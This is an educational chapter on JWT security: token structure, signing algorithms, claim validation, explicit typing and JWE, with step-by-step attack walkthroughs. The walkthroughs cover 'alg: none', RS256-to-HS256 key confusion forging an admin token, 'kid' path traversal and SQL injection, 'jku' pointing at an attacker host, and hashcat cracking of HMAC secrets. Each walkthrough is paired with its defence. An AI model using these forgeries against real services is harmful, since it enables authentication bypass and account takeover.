JWT Deep Dive
"JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties." — Michael B. Jones, John Bradley and Nat Sakimura, RFC 7519: JSON Web Token (JWT), Abstract, May 2015
Summary: A JWT is a small JSON document of claims ("this is user 42, for the orders API, until 12:10") that is signed (JWS) or encrypted (JWE) so that any service holding the right key can trust it without calling the issuer; every hard part of JWT is what that "without calling" costs you: strict validation, key distribution, revocation and size. Focus: The JOSE family (JWS RFC 7515, JWE RFC 7516, JWK RFC 7517, JWA RFC 7518, JWT RFC 7519), compact and JSON serialization, HS256/RS256/PS256/ES256/EdDSA, the none algorithm and RS256-to-HS256 key confusion, kid/jku/x5u/x5c/jwk/crit header attacks, registered claims and their exact validation rules with leeway, explicit typing (typ: at+jwt, RFC 9068), JWKS caching, key rotation and OIDC discovery, access vs ID vs refresh vs opaque tokens, revocation (short TTL, jti denylist in Redis, token versioning, sid logout, RFC 7662 introspection), browser storage and XSS, replay and DPoP, token size and verification cost, RFC 8725 best current practice, PASETO/Biscuit/Macaroons, JWT across microservices, Laravel Passport/Sanctum/league/oauth2-server and Go golang-jwt/jwx. Learning goal: Read any JWT and say what it proves and what it does not; write a validator that rejects every published attack; run key rotation without an outage; choose between JWT and an opaque token for each hop; and make logout, password change and account compromise actually take effect.
This chapter is in the Security group after Authentication: Passwords, MFA & Sessions, which decides when to use tokens instead of sessions. It owns JWT as a system component: the validation rules, key distribution, revocation, the numbers and the trade-offs. Neighbours keep their depth: the bytes and signing primitives (HMAC, ECDSA, Ed25519, base64url, PASETO signing) are in Password Hashing & Signed Tokens, Cryptography Fundamentals and Binary-to-Text Encoding; the OAuth 2.0 flows that mint access, ID and refresh tokens are in OAuth 2.0, OpenID Connect & SSO; cookies, CSRF and server-side sessions are in Web Sessions, Cookies & CORS; service identity and mutual TLS are in Mutual TLS & Service-to-Service Security; permission models (what a valid token may do) are in Authorization Models; XSS itself is in OWASP Top 10; the gateway as a component is in API Gateway, BFF & Service Mesh; Redis data structures are in Redis.
Page map
| If you are looking for | Go to |
|---|---|
| The whole page in three tables | Everything in one minute |
| Why JWTs exist; JWT vs opaque token vs session | Why it exists |
| RFCs 7515 to 7519, the 2015 attacks, RFC 8725, RFC 9068 | Where it comes from |
| Header, payload, signature, base64url, compact vs JSON serialization | Structure |
| HS256, RS256, PS256, ES256, EdDSA | JWS algorithms |
alg: none, RS256 to HS256 key confusion | Algorithm confusion |
kid injection, jku/x5u SSRF, embedded jwk, x5c, crit | Header injection |
iss, sub, aud, exp, nbf, iat, jti, leeway | Claims and validation rules |
typ: at+jwt, cty, ID token used as access token | Explicit typing |
JWE, dir, RSA-OAEP, ECDH-ES, A256GCM, nested JWT | JWE |
JWK, JWKS, kid, discovery, rotation, cache TTL | JWK, JWKS and rotation |
| Access vs ID vs refresh vs opaque tokens | Token kinds |
Logout, denylist, token versions, sid, introspection | Revocation |
| Stateless vs stateful | Stateless vs stateful |
| localStorage, XSS, HttpOnly cookies, BFF | Browser storage |
Replay, DPoP, mTLS-bound tokens, cnf | Replay and proof of possession |
| Guessable HS256 secrets, one-year tokens | Weak secrets and long lifetimes |
| Token size, cookie limit, header limits, CPU per request | Size and performance |
| Gateways, claim propagation, service tokens, token exchange | JWT in microservices |
| PASETO, Biscuit, Macaroons | Alternatives |
| Passport, Sanctum, league/oauth2-server, tymon/jwt-auth, firebase/php-jwt | Laravel ecosystem |
| golang-jwt v5, jwx, go-jose, keyfunc | Go libraries |
| Signing input, algorithm tables, knobs, error strings | Mechanics |
| Code | Go, Laravel |
| Eleven classic failures and their fixes | Solving the classic problems |
| Which token, which algorithm, which revocation | Choosing |
| From a monolith to many regions | In architecture |
| Runnable programs and expected experiments | Lab |
| Wrong beliefs, summary, quiz, terms | Misconceptions, Cheat sheet, Self-check, Glossary |
Everything in one minute
The JOSE family. JOSE (JSON Object Signing and Encryption) is the name of the IETF working group and of the family of formats.
| Spec | What it defines | You meet it as |
|---|---|---|
| JWS, RFC 7515 | A signed or MACed payload: header, payload, signature | Almost every "JWT" you see (3 dot-separated parts) |
| JWE, RFC 7516 | An encrypted payload: header, encrypted key, IV, ciphertext, tag | Encrypted ID tokens, Passport's laravel_token cookie content is described as an "encrypted JWT" (5 parts) |
| JWK, RFC 7517 | A key as JSON; a JWK Set (JWKS) is {"keys": [...]} | https://id.example.com/.well-known/jwks.json |
| JWA, RFC 7518 | Algorithm names: HS256, RS256, ES256, PS256, RSA-OAEP, A256GCM, dir... | The alg and enc header values |
| JWT, RFC 7519 | A JSON claims set carried inside a JWS or JWE, plus registered claims | iss, sub, aud, exp, nbf, iat, jti |
| RFC 8037 | EdDSA (Ed25519) and the OKP key type for JOSE | "alg":"EdDSA", "kty":"OKP","crv":"Ed25519" |
| RFC 8725 (BCP 225) | JWT Best Current Practices | The checklist your validator must pass |
| RFC 9068 | A profile for JWT access tokens | "typ":"at+jwt", required iss exp aud sub client_id iat jti |
The claims and the exact rule for each.
| Claim | In plain words | Validation rule (resource server) |
|---|---|---|
iss | Who issued it | Must equal your configured issuer exactly (string compare, no normalisation); keys must belong to that issuer |
sub | Who it is about | Must be a valid subject for that issuer; for client credentials it is the client |
aud | Who it is for | Must contain your identifier; reject if missing when one issuer serves several APIs |
exp | Not valid on or after | now < exp + leeway |
nbf | Not valid before | now >= nbf - leeway |
iat | When it was issued | Not in the future beyond leeway; optional maximum age |
jti | Unique token id | Needed for denylists and replay detection; required by RFC 9068 |
typ (header) | What kind of JWT | at+jwt for access tokens; rejects ID tokens and other JWTs |
kid (header) | Which key | Look up in your trusted key set only; never a path, URL or SQL |
alg (header) | Which algorithm | Must equal the algorithm bound to the key you found, and be on your allowlist |
The attacks and what stops them.
| Attack | How it works | What stops it |
|---|---|---|
alg: none | Attacker sends an unsigned token; a naive library "verifies" it | Algorithm allowlist; libraries refuse none unless asked |
| RS256 to HS256 key confusion | Attacker HMAC-signs with your public key | One key, one algorithm: take alg from the key, not the header |
kid injection | kid: ../../dev/null or SQL in kid | kid is only a map key into a trusted set |
jku / x5u / jwk / x5c injection | The token tells you where to get the key | Ignore them; keys come from configuration or discovery |
| Weak HMAC secret | hashcat -m 16500 guesses secret123 offline | 256-bit random secret, or asymmetric keys |
| Token substitution | A token for API A is replayed at API B | aud check; distinct audiences |
| Cross-JWT confusion | An ID token is accepted as an access token | typ: at+jwt check, mutually exclusive rules |
| Theft via XSS | Script reads localStorage | Keep tokens out of JS: BFF + HttpOnly cookie; DPoP |
| Replay of a stolen token | Bearer means whoever holds it | Short TTL, DPoP or mTLS binding, jti for one-time tokens |
| No revocation | Logout does nothing until exp | Short TTL + refresh, denylist by jti, token versions, introspection |
The picture shows the two compact forms. Read the top row twice: the payload of a JWS is only base64url, so every proxy, log line and browser extension that sees the token can read every claim. The signature proves who wrote it and that nobody changed it, nothing more. Confidentiality needs the five-part JWE in the bottom row.
Why it exists
A classic web session is a random id in a cookie plus a row in a server-side store; every request costs a lookup in that store (see Web Sessions). That is fine for one application. It stops being fine when the thing that checks the request is not the thing that logged the user in: an API gateway, twenty microservices, a partner's API, a mobile backend in another region. Each of them would have to call the login service (or share its database) on every request. A JWT moves the answer into the request: the issuer signs "user 42, scope orders:read, audience orders API, until 12:10" once, and every verifier checks the signature locally with a public key it fetched once.
| Simpler / cheaper | Stronger / more control |
|---|---|
| Self-contained JWT: no lookup per request | Opaque token + introspection or session store: instant revocation |
| Long-lived token: fewer refreshes | Short-lived token (5 to 15 min): small theft window, more refresh traffic |
| HS256 shared secret: tiny, fast | Asymmetric (EdDSA/ES256/RS256): verifiers cannot mint tokens |
| Everything in claims: no database | Minimal claims + lookup: small tokens, no stale permissions |
Token in localStorage: easy SPA code | BFF with HttpOnly cookie: no token reachable by XSS |
| Plain bearer token | Sender-constrained (DPoP, mTLS): stolen token is useless alone |
The analogy we reuse on this page: a festival wristband. At the gate (the issuer) you show your ticket once and get a printed, laminated wristband: your name (sub), the stages you may enter (aud, scope), the festival logo (iss), "valid Saturday only" (nbf, exp) and a serial number (jti). The hologram is the signature: any steward (a verifier) can check it with a UV lamp (the public key) without phoning the box office. Anyone near you can read the wristband; the hologram only makes forgeries obvious. If you are thrown out, the steward cannot un-print your wristband; the box office can only hand stewards a list of banned serial numbers (a denylist), print wristbands that expire every few hours (short TTL), or make stewards phone in every time (introspection). A wristband in a sealed envelope that only the stage manager can open is a JWE.
JWT vs opaque token vs session cookie
| Mechanism | What travels | How the receiver checks it | Revocation | Owner page |
|---|---|---|---|---|
| Session cookie | Random id | Lookup in the session store | Delete the row: instant | Web Sessions |
| Opaque access token | Random string (Laravel Sanctum hashes it with SHA-256 before storing it) | Database lookup or RFC 7662 introspection | Delete or mark revoked: instant | This page, Token kinds |
| JWT access token (JWS) | Signed claims | Local signature + claim checks | Only by adding state (denylist, versions) or waiting for exp | This page |
| Encrypted JWT (JWE) | Encrypted claims | Decrypt, then verify the inner JWS | Same as JWT | JWE |
| Passport access token | RS256-signed JWT whose jti is also a database row | Signature, then oauth_access_tokens.revoked by jti | Instant inside the Laravel app; not for other verifiers | Laravel ecosystem |
Three common misunderstandings, up front
- "JWTs are encrypted." A signed JWT is base64url text. Paste it into any decoder and the claims are there. OWASP's cheat sheet: a JWS "provides integrity and authenticity, but not confidentiality". Do not put emails, national ids or internal flags in it unless you use JWE or are happy for the bearer to read them.
- "JWTs make logout impossible, so they are useless." Logout of a stateless token is impossible; logout of a real system is not. Short access tokens, refresh-token revocation at the authorization server, a
jtidenylist and per-user token versions together give you logout within seconds while keeping most requests lookup-free. What is true: if you need every request to see revocation instantly, you have rebuilt a session store, and an opaque token is simpler. - "If the library verified the signature, the token is valid." The signature says the token came from someone who holds the key. It does not say the token is for you (
aud), from the issuer you trust (iss), still valid (exp), the right kind of token (typ), or not revoked. RFC 8725 exists because applications stopped at the signature.
Where it comes from
The JOSE RFCs, May 2015. The IETF JOSE working group published JWS (RFC 7515), JWE (RFC 7516), JWK (RFC 7517) and JWA (RFC 7518) together; the OAuth working group published JWT (RFC 7519) in the same batch. JWA marked HS256 "Required", RS256 "Recommended", ES256 "Recommended+" and none "Optional". OpenID Connect Core 1.0 (errata set 1 dated November 2014; errata set 2 dated December 15, 2023) had already made the ID token a JWT.
The library attacks, 2015. Tim McLean's post on the Auth0 blog ("Critical vulnerabilities in JSON Web Token libraries", TL;DR updated 2015-04-20) found "many libraries with critical vulnerabilities allowing attackers to bypass the verification step": libraries that accepted alg: none, and libraries that, expecting RSA, would "think the public key is actually an HMAC secret key". His proposal, "verify(string token, string algorithm, string verificationKey)", is now how every serious library works.
Introspection, October 2015. RFC 7662 defined the endpoint a resource server calls to ask "is this token active?", the stateful counterpart to self-contained JWTs.
Proof of possession, 2016 and 2023. RFC 7800 (April 2016) added the cnf (confirmation) claim; RFC 9449 (September 2023) defined DPoP, "a mechanism for sender-constraining OAuth 2.0 tokens".
EdDSA, January 2017. RFC 8037 added Ed25519 and the OKP key type.
Best Current Practice, February 2020. RFC 8725 (BCP 225) collected the attacks: weak signatures, weak symmetric keys, incorrect composition of encryption and signature, compression leaks, invalid-curve ECDH-ES, substitution and cross-JWT confusion, and indirect attacks via kid/jku/x5u.
JWT access tokens, October 2021. RFC 9068 standardised what had been vendor-specific: typ: at+jwt, the required claims, and the validation steps a resource server "MUST" perform.
OAuth security and browser apps, 2025 and 2026. RFC 9700 (January 2025, OAuth 2.0 Security BCP) requires refresh tokens for public clients to be "sender-constrained or use refresh token rotation"; RFC 10017 (August 2026, OAuth 2.0 for Browser-Based Applications) states that "localStorage does not protect against unauthorized access from malicious JavaScript".
Year Event What changed in practice
1 2012 RFC 6750 Bearer Token Usage Authorization: Bearer, error="invalid_token"
2 2014 OpenID Connect Core 1.0 (errata 1: Nov 2014) ID token = JWT; discovery + jwks_uri
3 2015 RFC 7515-7519 (May) JWS, JWE, JWK, JWA, JWT
4 2015 McLean / Auth0: none + RS->HS confusion Libraries add explicit algorithm parameters
5 2015 RFC 7662 introspection (Oct) Stateful check for opaque or JWT tokens
6 2016 RFC 7800 cnf claim (Apr) Proof-of-possession keys inside JWTs
7 2017 RFC 8037 EdDSA / OKP (Jan) Ed25519 in JOSE
8 2020 RFC 8725 BCP 225 (Feb) Allowlists, explicit typing, aud/iss rules
9 2021 RFC 9068 JWT access tokens (Oct) typ at+jwt, required claims
10 2023 RFC 9449 DPoP (Sep) Sender-constrained tokens for SPAs and mobile
11 2025 RFC 9700 OAuth Security BCP (Jan) Refresh token rotation or sender constraint
12 2026 RFC 10017 browser-based apps (Aug) BFF preferred; localStorage exposed to XSSThe concept catalogue
Each block follows the same order: plain words, the usual wrong belief, a definition, a timeline, real scenarios, what products do, and the fix. The code that every "fix" refers to is in Go and Laravel.
Structure: header, payload, signature, base64url, serializations Must-know
In plain words: a JWT is a JSON header, a JSON payload and a signature, each base64url-encoded and joined with dots. The signature is computed over the first two parts exactly as they appear in the token.
Common misunderstanding: "The signature covers the claims, so I can re-encode the payload (pretty-print it, reorder keys) and the signature still holds." It covers the bytes of BASE64URL(header) "." BASE64URL(payload). Change one character of either and the signature fails; that is also why verifiers must not "repair" tokens (adding padding, converting + to -): strict decoding is safer, and golang-jwt has WithStrictDecoding() for it.
Definition: RFC 7515 compact serialization: BASE64URL(UTF8(JWS Protected Header)) . BASE64URL(JWS Payload) . BASE64URL(JWS Signature), base64url without = padding. A JWT (RFC 7519) is a JWS or JWE whose payload is a JSON claims set; times are NumericDate (seconds since 1970-01-01 UTC), and iss/sub/aud values are StringOrURI. The JWS JSON serialization (general or flattened) carries the same parts as JSON members and allows several signatures; JWE has compact (5 parts) and JSON forms. A Nested JWT is a JWT inside a JWT, signalled by cty: "JWT".
Issuer Verifier
1 header = {"alg":"EdDSA","typ":"at+jwt","kid":"ed-2026-11"}
2 payload = {"iss":"https://id.example.com","sub":"user-42",...}
3 input = b64url(header) + "." + b64url(payload)
4 sig = Ed25519.Sign(privateKey, ASCII(input))
5 token = input + "." + b64url(sig) -> 6 split on "." -> exactly 3 parts
7 decode header strictly, read kid
8 look up key, check alg == key alg
9 Ed25519.Verify(pub, ASCII(part1.part2), sig)
10 only now parse and trust the payloadReal scenario: an engineer debugging a 401 pastes the token into a decoder and sees aud: "https://orders.example.com" while the API expects orders-api; an AWS Application Load Balancer forwards x-amzn-oidc-data, a JWT that AWS documents as base64url "and includes padding characters at the end", so a strict decoder must be told to allow padding for that one header; a log pipeline indexes Authorization headers and the security team finds every customer email in Elasticsearch because the payload was readable.
What provides it:
| Product / library | Serialization support | Note |
|---|---|---|
| golang-jwt/jwt v5 | JWS compact only | WithStrictDecoding, WithPaddingAllowed |
| lestrrat-go/jwx v4 | JWS/JWE compact and JSON, multiple signatures and recipients | Requires Go 1.26+ (README) |
| firebase/php-jwt | JWS compact | JWT::encode always writes typ: JWT unless overridden |
| lcobucci/jwt (used by league/oauth2-server) | JWS compact | Builds Passport's access tokens |
| AWS ALB | Emits ES256 JWT in x-amzn-oidc-data | Padding characters present |
Fix / how to use it: decode for debugging with a tool that says "UNVERIFIED" (cmd/decode); never branch on a decoded payload before verification; verify with strict base64url decoding unless a specific producer forces padding.
JWS algorithms: HS256, RS256, PS256, ES256, EdDSA Must-know
In plain words: HS256 uses one shared secret for signing and verifying; RS256, PS256, ES256 and EdDSA use a private key to sign and a public key to verify, so verifiers cannot mint tokens.
Common misunderstanding: "RS256 is the secure default and HS256 is insecure." HS256 with a 256-bit random secret is cryptographically fine; its problem is architecture: every verifier can also forge tokens, and the secret must be distributed to all of them. Conversely RS256 is "Recommended" by JWA but produces 256-byte signatures (2048-bit key) and slow signing (0.70 ms per token in this chapter's benchmark); EdDSA and ES256 give 64-byte signatures.
Definition: JWA (RFC 7518 section 3.1) defines HS256/384/512 (HMAC-SHA-2), RS256/384/512 (RSASSA-PKCS1-v1_5), ES256/384/512 (ECDSA on P-256/P-384/P-521), PS256/384/512 (RSASSA-PSS) and none; RFC 8037 adds EdDSA. For HMAC, "A key of the same size as the hash output (for instance, 256 bits for "HS256") or larger MUST be used". RFC 8725 adds that ECDSA needs a unique random value per signature and recommends deterministic ECDSA (RFC 6979). RFC 9068 requires JWT access-token implementations to support RS256.
Measured on this machine (Apple M4 Pro, Go 1.27.4, golang-jwt v5.3.1), one token, full Verify()
1 HS256 verify 2.7 us sign 2.1 us signature 32 bytes (43 chars)
2 RS256 verify 23.7 us sign 704.7 us signature 256 bytes (342 chars, 2048-bit key)
3 PS256 verify 23.8 us sign (not run) signature 256 bytes
4 ES256 verify 37.8 us sign 17.9 us signature 64 bytes (86 chars)
5 EdDSA verify 28.7 us sign 14.6 us signature 64 bytes (86 chars)
-> RSA is cheap to verify and expensive to sign; EdDSA/ES256 are balanced and small.Real scenario: identity providers (Keycloak, Auth0, Microsoft Entra ID, Okta) commonly sign with RS256, which RFC 9068 makes mandatory to support and every client library has (vendor defaults not verified in this research); an AWS ALB signs with ES256; an internal service that mints short-lived tokens for itself uses HS256 with a secret from a vault; a team picks RS256 for a token-exchange service that mints 3,000 tokens per second and discovers that signing alone needs about two CPU cores (3,000 x 0.70 ms), then moves to EdDSA.
What provides it:
| Algorithm | JWA requirement (RFC 7518) | Key | Who can forge | Typical use |
|---|---|---|---|---|
| HS256 | Required | 256-bit shared secret | Every verifier | One service, or issuer and verifier in one trust domain |
| RS256 | Recommended (RFC 9068: MUST support) | RSA 2048+ | Only the private key holder | IdPs, OIDC, widest compatibility |
| PS256 | Optional | RSA 2048+ | Only the private key holder | Where a policy bans RSASSA-PKCS1-v1_5 signatures |
| ES256 | Recommended+ | P-256 | Only the private key holder | Small tokens, AWS ALB |
| EdDSA | RFC 8037 | Ed25519 | Only the private key holder | New systems, fast and deterministic |
| none | Optional | none | Anyone | Never on a network boundary |
Fix / how to use it: default to EdDSA or ES256 for new issuers you control; accept RS256 from IdPs; use HS256 only where issuer and verifier are the same service; configure an explicit allowlist (jwt.WithValidMethods, firebase Key($k, 'RS256')) on every verifier.
The none algorithm and algorithm confusion Must-know
In plain words: the token itself says which algorithm to verify it with. If the verifier believes it, the attacker chooses the algorithm: "none" (no signature at all) or "HS256 with your public key as the secret".
Common misunderstanding: "Our library is up to date, so alg: none cannot happen." The none hole is closed in mainstream libraries; key confusion still appears whenever application code picks the key by looking at alg ("support HMAC too, in case we switch"), which is exactly what this chapter's before/main.go does, and its test forges an admin token with nothing but the public key.
Definition: RFC 8725 section 2.1: "The algorithm can be changed to "none" by an attacker, and some libraries would trust this value and "validate" the JWT without checking any signature", and "An "RS256" (RSA, 2048 bit) parameter value can be changed into "HS256" (HMAC, SHA-256), and some libraries would try to validate the signature using HMAC-SHA256 and using the RSA public key as the HMAC shared secret". PortSwigger names the second "algorithm confusion attacks (also known as key confusion attacks)". The rule that fixes both, section 3.1: "each key MUST be used with exactly one algorithm, and this MUST be checked when the cryptographic operation is performed."
Attacker Naive verifier (before/main.go)
1 GET https://api.example.com/.well-known/jwks.json (public key is public)
2 header = {"alg":"HS256","typ":"JWT"}
3 payload = {"sub":"attacker","role":"admin"}
4 sig = HMAC-SHA256(key = PEM bytes of the RSA public key, header.payload)
5 send token -> 6 alg says HS256 -> "use the configured key"
7 configured key = the same PEM bytes
8 HMAC matches -> role=admin accepted
Strict verifier (verify package)
9 kid -> rsa-2026-11, bound alg RS256
10 header alg HS256 != RS256 -> ErrAlgMismatch, 401Real scenario: CVE-2015-9235, cited by RFC 8725 next to McLean's post, and the libraries McLean listed (node-jsonwebtoken, pyjwt, namshi/jose, php-jwt, jsjwt); a home-grown verifier that loads "the key" from one environment variable and passes it to whatever method the header names; a multi-tenant gateway that accepts HS256 for one legacy tenant and RS256 for the others, keyed by the header instead of by tenant; a debugging flag skipVerify left on in production (PortSwigger: developers sometimes call decode() instead of verify()).
What prevents it:
| Library / product | none | Key confusion |
|---|---|---|
| golang-jwt v5 | Rejected unless the key is jwt.UnsafeAllowNoneSignatureType | WithValidMethods; plus your keyfunc must check t.Method.Alg() against the key |
| firebase/php-jwt | "Algorithm not supported" (none is not in the table) | Key($material, 'RS256'); mismatch throws "Incorrect key for this algorithm" |
| lcobucci/jwt (league/oauth2-server) | Validator is configured with SignedWith(new Sha256(), $publicKey) | Signer fixed in configuration |
| Envoy jwt_authn, Istio RequestAuthentication | Keys from remote_jwks / jwksUri | Algorithm taken from the JWK |
| RFC 9068 resource servers | "MUST reject any JWT in which the value of "alg" is "none"" | Use "the keys provided by the authorization server" |
Fix / how to use it: bind the algorithm to the key (the keys.Key{Alg} type in the Go module, Firebase\JWT\Key in PHP), keep an allowlist, and add the two attack tokens to your test suite; verify_test.go has TestAlgNoneRejected and TestRSAToHMACKeyConfusionRejected.
Header injection: kid, jku, x5u, x5c, jwk, crit Must-know
In plain words: some header fields tell the verifier where to find the key. If the verifier follows them, the attacker supplies the key, the URL or the file.
Common misunderstanding: "kid is just an id, it cannot be dangerous." kid is attacker-controlled input. PortSwigger shows kid pointing at /dev/null through directory traversal ("signing the token with a empty string will result in a valid signature") and kid as an SQL injection vector; RFC 8725 says applications "should ensure that this does not create SQL or LDAP injection vulnerabilities".
Definition: RFC 7515 header parameters: kid ("a hint indicating which key was used"), jku (URL of a JWK Set), jwk (the public key embedded in the header), x5u (URL of an X.509 certificate chain), x5c (the chain itself), crit (extensions that "MUST be understood and processed"; a verifier that does not understand a listed extension must reject). RFC 8725 section 3.10: "blindly following a "jku" (JWK set URL) or "x5u" (X.509 URL) header, which may contain an arbitrary URL, could result in server-side request forgery (SSRF) attacks".
Attacker token header Verifier that follows headers
1 {"alg":"RS256","jku":"https://attacker.example/k.json","kid":"a"}
2 GET https://attacker.example/k.json (SSRF too)
3 key "a" = attacker's public key -> valid
4 {"alg":"HS256","kid":"../../../../dev/null"} read file /dev/null -> key = "" -> HMAC("") valid
5 {"alg":"RS256","jwk":{...attacker key...}} "use the embedded key" -> valid
Strict verifier: keys only from configuration/discovery; kid is a map key; unknown crit -> rejectReal scenario: Burp's JWT Editor "Embedded JWK" attack against a server that trusts the jwk header; a jku allowlist bypassed by URL parsing tricks (https://trusted.example@attacker.example); a service that stores keys in a keys table and builds SELECT ... WHERE kid = ' + kid + '; X.509 parsing bugs reachable through x5c (PortSwigger cites CVE-2017-2800 and CVE-2018-2633).
What prevents it:
| Header | Strict default | When you may use it |
|---|---|---|
kid | Lookup in an in-memory map built from your trusted JWKS | Always (it is how rotation works) |
jku | Ignore | Only with an exact allowlist of URLs, no cookies, and SSRF controls |
x5u | Ignore | Same as jku |
jwk | Ignore | DPoP proofs use it on purpose (the key is then bound via cnf.jkt) |
x5c | Ignore | Only with full chain validation to a pinned CA |
crit | Reject if present and not understood | When you implement the named extension |
Fix / how to use it: the Go verifier never reads jku/x5u/jwk/x5c, rejects crit, and treats kid as a key into verify.Static or the JWKS client cache; TestHeaderAttacks covers path traversal, SQL injection, missing kid and unknown crit. The Laravel verifier limits kid to 128 characters and only uses it as an array key.
Registered claims and exact validation rules Must-know
In plain words: after the signature, check four questions: from the issuer I trust (iss)? for me (aud)? valid now (exp, nbf, iat with a little leeway)? about a real subject (sub, jti)?
Common misunderstanding: "aud is optional, so we skip it." RFC 7519 says the claim is optional to include, but "If the principal processing the claim does not identify itself with a value in the "aud" claim when this claim is present, then the JWT MUST be rejected", and RFC 8725 makes it mandatory whenever one issuer serves several APIs, which is every company with more than one API. Without it, a token for the low-risk "newsletter" API works on the "payments" API.
Definition: RFC 7519 section 4.1: exp is the time "on or after which the JWT MUST NOT be accepted for processing"; nbf the time "before which the JWT MUST NOT be accepted"; for both "Implementers MAY provide for some small leeway, usually no more than a few minutes, to account for clock skew". iat "can be used to determine the age of the JWT". jti "MUST be assigned in a manner that ensures that there is a negligible probability that the same value will be accidentally assigned to a different data object" and "can be used to prevent the JWT from being replayed". RFC 9068 requires iss, exp, aud, sub, client_id, iat, jti in access tokens and says "The issuer identifier for the authorization server (which is typically obtained during discovery) MUST exactly match the value of the "iss" claim."
exp = 12:10:00, nbf = iat = 12:00:00, leeway = 30 s verifier clock
1 11:59:20 nbf - 40 s (issuer clock 40 s ahead) reject: token is not valid yet
2 11:59:40 nbf - 20 s accept (inside leeway)
3 12:05:00 accept
4 12:10:29 exp + 29 s accept (inside leeway)
5 12:10:31 exp + 31 s reject: token is expired
iss "https://id.example.com/" vs configured "https://id.example.com" -> reject (exact match)Real scenario: a Kubernetes node with a broken NTP client is 2 minutes behind and rejects fresh tokens with "token used before issued" (golang-jwt) or BeforeValidException (firebase/php-jwt); an IdP that moved to a new hostname issues tokens with the new iss while some services are still configured with the old one; a multi-tenant IdP (one issuer per tenant) where a verifier that skips iss accepts tenant B's tokens for tenant A; a sub that is an email, which changes when the user renames, so permissions follow the wrong row.
What provides it:
| Library / product | iss | aud | exp/nbf/iat | Leeway knob |
|---|---|---|---|---|
| golang-jwt v5 | WithIssuer | WithAudience (requires the claim), WithAllAudiences | exp always if present, WithExpirationRequired, WithIssuedAt, WithNotBeforeRequired | WithLeeway(d) |
| firebase/php-jwt | Your code | Your code | exp, nbf, iat checked if present | JWT::$leeway (static, seconds) |
| lcobucci/jwt in league/oauth2-server | Not checked (no iss is issued) | aud = client id, not checked as audience | LooseValidAt | jwtValidAtDateLeeway constructor argument |
| Envoy jwt_authn | issuer | audiences | exp/nbf | Not on the page read; check your version |
| Istio RequestAuthentication | issuer | audiences | exp/nbf | Not documented on the page read |
Fix / how to use it: configure iss and aud from deployment config, never from the token; leeway 30 to 60 s (fix NTP instead of raising it); require exp, iat, sub, jti; optionally a maximum age based on iat for sensitive routes. All of this is in verify.Verifier and in AccessTokenVerifier.php.
Explicit typing: typ at+jwt, cty, cross-JWT confusion Important
In plain words: the same issuer signs several kinds of JWTs (ID tokens, access tokens, logout tokens, email-verification links) with the same key. Without a type check, one kind is accepted where another is expected.
Common misunderstanding: "An ID token and an access token from my IdP look the same, so my API can accept the ID token the SPA already has." That is exactly the substitution RFC 9068 is written against: the ID token's aud is the client, it carries profile data, and accepting it lets any client that received a user's ID token call your API as that user. RFC 9068: the "typ" value "SHOULD be "at+jwt"" and resource servers "MUST verify that the "typ" header value is "at+jwt" or "application/at+jwt" and reject tokens carrying any other value."
Definition: RFC 7519 typ declares the media type of the whole JWT ("RECOMMENDED that its value be "JWT""); RFC 8725 section 3.11 recommends explicit types of the form application/example+jwt with the application/ prefix omitted, and section 3.12 requires "mutually exclusive validation rules" for different kinds of JWTs from one issuer (distinct typ, required claims, keys, aud or iss). cty signals a Nested JWT ("this Header Parameter MUST be present; in this case, the value MUST be "JWT"") and is otherwise "NOT RECOMMENDED". Known explicit types: at+jwt (RFC 9068), logout+jwt (OIDC Back-Channel Logout), secevent+jwt (RFC 8417), dpop+jwt (RFC 9449).
SPA IdP Orders API (strict)
1 login (OIDC) -> ID token {typ: JWT, aud: spa-client}
2 access token {typ: at+jwt, aud: orders-api}
3 GET /orders with the ID token by mistake ----------> typ JWT -> 401 invalid_token
4 GET /orders with the access token -----------------> typ at+jwt, aud contains orders-api -> 200Real scenario: a mobile app sends the ID token to the backend because "it has the email in it"; an email-verification JWT (signed by the same app key) is replayed as a password-reset JWT; a Back-Channel Logout token (logout+jwt) is accepted as a login token by a sloppy RP. Many IdPs and Laravel Passport still emit typ: JWT for access tokens; then the only separator is aud (and for Passport, aud is the client id).
What provides it:
| Issuer | Access-token typ | How to separate kinds |
|---|---|---|
| RFC 9068-compliant AS | at+jwt | Check typ |
| Laravel Passport (league/oauth2-server via lcobucci/jwt) | JWT (library default) | Verify only inside the issuing app, or require scopes claim + client allowlist |
firebase/php-jwt JWT::encode | JWT unless $head['typ'] given | Pass ['typ' => 'at+jwt'] |
| This chapter's Go issuer | at+jwt | verify.Verifier.AcceptTypes for legacy issuers |
Fix / how to use it: emit at+jwt from issuers you control; check typ in every verifier (TestIDTokenIsNotAnAccessToken); when a legacy issuer cannot type its tokens, give each API its own audience and refuse ID tokens by audience.
JWE: key management modes, content encryption, when to encrypt Important
In plain words: JWE is the sealed envelope: a random content key encrypts the claims with AES-GCM, and that content key is either the shared secret itself (dir) or is wrapped for the recipient (RSA-OAEP, AES key wrap, ECDH-ES).
Common misunderstanding: "Encrypting the JWT also authenticates who sent it." With dir or a public-key mode, anyone who can encrypt to the recipient can produce a valid JWE; the recipient learns nothing about the sender. That is why the usual pattern is a nested JWT: sign first (JWS, proves the issuer), then encrypt (JWE, hides the claims), and RFC 8725 section 3.3 requires that "both outer and inner operations MUST be validated".
Definition: RFC 7516: compact form BASE64URL(UTF8(JWE Protected Header)) . BASE64URL(JWE Encrypted Key) . BASE64URL(JWE Initialization Vector) . BASE64URL(JWE Ciphertext) . BASE64URL(JWE Authentication Tag). The protected header is the Additional Authenticated Data. Five Key Management Modes: Key Encryption (CEK encrypted with an asymmetric algorithm: RSA-OAEP, RSA-OAEP-256; RSA1_5 is "Recommended-" and RFC 8725 says avoid it), Key Wrapping (A128KW, A256KW), Direct Key Agreement (ECDH-ES), Key Agreement with Key Wrapping (ECDH-ES+A256KW), Direct Encryption (dir: "the CEK value used is the secret symmetric key value shared between the parties"). Content encryption (enc): A128GCM/A256GCM or A128CBC-HS256 and friends; A256GCM is "Recommended". RFC 8725 also warns against compression (zip) before encryption and against invalid-curve inputs in ECDH-ES.
Issuer (nested JWT, dir + A256GCM) Recipient (records API)
1 inner = JWS(EdDSA){sub: patient-7, ...}
2 header = {"alg":"dir","enc":"A256GCM","cty":"JWT","kid":"enc-1"}
3 iv = 12 random bytes
4 ct, tag = AES-256-GCM(cek, iv, inner, aad = b64url(header))
5 jwe = b64(header) . "" . b64(iv) . b64(ct) . b64(tag) -> 6 5 parts? alg/enc on allowlist? zip absent?
7 decrypt; tag fails if header changed
